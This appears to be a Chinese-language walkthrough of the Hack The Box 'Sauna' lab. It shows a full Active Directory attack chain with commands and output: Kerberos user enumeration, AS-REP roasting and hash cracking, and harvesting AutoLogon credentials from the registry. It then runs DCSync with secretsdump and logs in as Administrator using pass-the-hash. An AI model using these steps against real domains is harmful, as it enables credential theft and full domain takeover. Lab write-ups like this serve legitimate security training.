HackTheBox Active Directory 101, No.2, Sauna

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靶场：Hack The Box
系统：windows
内容：AD信息查询

扫描端口结果。

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Egotistical Bank :: Home
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-12-12 09:56:48Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2024-12-12T09:57:38
|_  start_date: N/A
|_clock-skew: 6h45m49s

浏览网页，找到几个用户名。

将这几个全名保存下来，通过脚本生成可能的组合，保存在names.txt中，然后爆破查找有效用户名，找到一个FSmith。

~/D/s $kerbrute_linux_amd64 userenum -d $DOMAIN --dc $IP names.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 12/12/24 - Ronnie Flathers @ropnop

2024/12/12 05:08:51 >  Using KDC(s):
2024/12/12 05:08:51 >   10.10.10.175:88

2024/12/12 05:08:52 >  [+] VALID USERNAME:       FSmith@EGOTISTICAL-BANK.LOCAL

由于是no pre auth用户，可以得到hash。

~/D/s $impacket-GetNPUsers  $DOMAIN/fsmith  -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Getting TGT for fsmith
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:0a5a29172ffac4940290a3c7a2d3c3fd$48f71e27a3d3bd6d3f7df7ed7596361432e9a1f3c7b06424ba17dd963c5b6afcdb4aabd1939704865c1e628635f82ea6de030b9ad3f0467010a6125cdd931ae49d7afb30d2e32bb0a509a512654275dd01002382f46e45c8fa78fe5c1cf58d528196f98ae9947748a4fc98afe2a999c90d40305566a9327004a943d8b217f612c143573a3526b9c2ad8b66216839a9346799ef59695bbd55233f4f6e99f53e5bfcaa9146ca078aa01fc84dc28bd3d9e21bb0455faf7c2736d922e2978e8cfe916a7ecc3ab0c4059f414a4d70f6e5b5859e3b93012d280de0f4eda5ec79bac6b9c31ae0c7891c78d88e9421a64b33e041320b2044c45baf955c884721a31a0a0f

破解得到密码。

~/D/s $john --wordlist=/usr/share/wordlists/rockyou.txt fsmith_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23     ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)
1g 0:00:00:06 DONE (2024-12-12 05:12) 0.1600g/s 1686Kp/s 1686Kc/s 1686KC/s Thing..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

该密码可以查看共享，可以登录shell。

~/D/s $netexec smb $IP -u fsmith -p Thestrokes23 --shares
SMB         10.10.10.175    445    SAUNA            [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.175    445    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23
SMB         10.10.10.175    445    SAUNA            [*] Enumerated shares
SMB         10.10.10.175    445    SAUNA            Share           Permissions     Remark
SMB         10.10.10.175    445    SAUNA            -----           -----------     ------
SMB         10.10.10.175    445    SAUNA            ADMIN$                          Remote Admin
SMB         10.10.10.175    445    SAUNA            C$                              Default share
SMB         10.10.10.175    445    SAUNA            IPC$            READ            Remote IPC
SMB         10.10.10.175    445    SAUNA            NETLOGON        READ            Logon server share
SMB         10.10.10.175    445    SAUNA            print$          READ            Printer Drivers
SMB         10.10.10.175    445    SAUNA            RICOH Aficio SP 8300DN PCL 6 WRITE           We cant print money
SMB         10.10.10.175    445    SAUNA            SYSVOL          READ            Logon server share

~/D/s $netexec winrm  $IP -u fsmith -p Thestrokes23
WINRM       10.10.10.175    5985   SAUNA            [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
WINRM       10.10.10.175    5985   SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)

通过fsmith，可以枚举出所有域用户。

~/D/s $rpcclient -U fsmith%Thestrokes23  $IP -c "enumdomusers"
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[HSmith] rid:[0x44f]
user:[FSmith] rid:[0x451]
user:[svc_loanmgr] rid:[0x454]

收集一下bloodhound信息。

~/D/s $netexec ldap $IP -u fsmith -p Thestrokes23  --bloodhound --collection All --dns-server $IP
SMB         10.10.10.175    445    SAUNA            [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
LDAP        10.10.10.175    389    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23
LDAP        10.10.10.175    389    SAUNA            Resolved collection methods: acl, session, group, trusts, localadmin, dcom, objectprops, psremote, container, rdp
LDAP        10.10.10.175    389    SAUNA            Done in 00M 17S
LDAP        10.10.10.175    389    SAUNA            Compressing output into /home/kali/.nxc/logs/SAUNA_10.10.10.175_2024-12-12_051923_bloodhound.zip

evil-winrm登录后，使用winpeas查找敏感信息，找到另一个用户的密码。

ÉÍÍÍÍÍÍÍÍÍ͹ Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName             :  EGOTISTICALBANK
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!

其实，上面的信息就保存在注册表中，可以通过powershell进行验证。

*Evil-WinRM* PS C:\Users\FSmith\Documents> Get-Item  "HKLM:\software\microsoft\windows NT\currentversion\winlogon"

    Hive: HKEY_LOCAL_MACHINE\software\microsoft\windows NT\currentversion

Name                           Property
----                           --------
winlogon                       AutoRestartShell             : 1
                               Background                   : 0 0 0
                               CachedLogonsCount            : 10
                               DebugServerCommand           : no
                               DefaultDomainName            : EGOTISTICALBANK
                               DefaultUserName              : EGOTISTICALBANK\svc_loanmanager
                               DisableBackButton            : 1
                               EnableSIHostIntegration      : 1
                               ForceUnlockLogon             : 0
                               LegalNoticeCaption           :
                               LegalNoticeText              :
                               PasswordExpiryWarning        : 5
                               PowerdownAfterShutdown       : 0
                               PreCreateKnownFolders        : {A520A1A4-1780-4FF6-BD18-167343C5AF16}
                               ReportBootOk                 : 1
                               Shell                        : explorer.exe
                               ShellCritical                : 0
                               ShellInfrastructure          : sihost.exe
                               SiHostCritical               : 0
                               SiHostReadyTimeOut           : 0
                               SiHostRestartCountLimit      : 0
                               SiHostRestartTimeGap         : 0
                               Userinit                     : C:\Windows\system32\userinit.exe,
                               VMApplet                     : SystemPropertiesPerformance.exe /pagefile
                               WinStationsDisabled          : 0
                               scremoveoption               : 0
                               DisableCAD                   : 1
                               LastLogOffEndTimePerfCounter : 5742365237
                               ShutdownFlags                : 19
                               DisableLockWorkstation       : 0
                               DefaultPassword              : Moneymakestheworldgoround!

查找bloodhound，svc_loanmgr具有DCSync权限。

得到管理员的hash,登录系统，得到admin shell。

~/D/s $impacket-secretsdump egotistical-bank.local/'svc_loanmgr':'Moneymakestheworldgoround!'@$IP
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::

~/D/s $evil-winrm -i $IP -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
egotisticalbank\administrator
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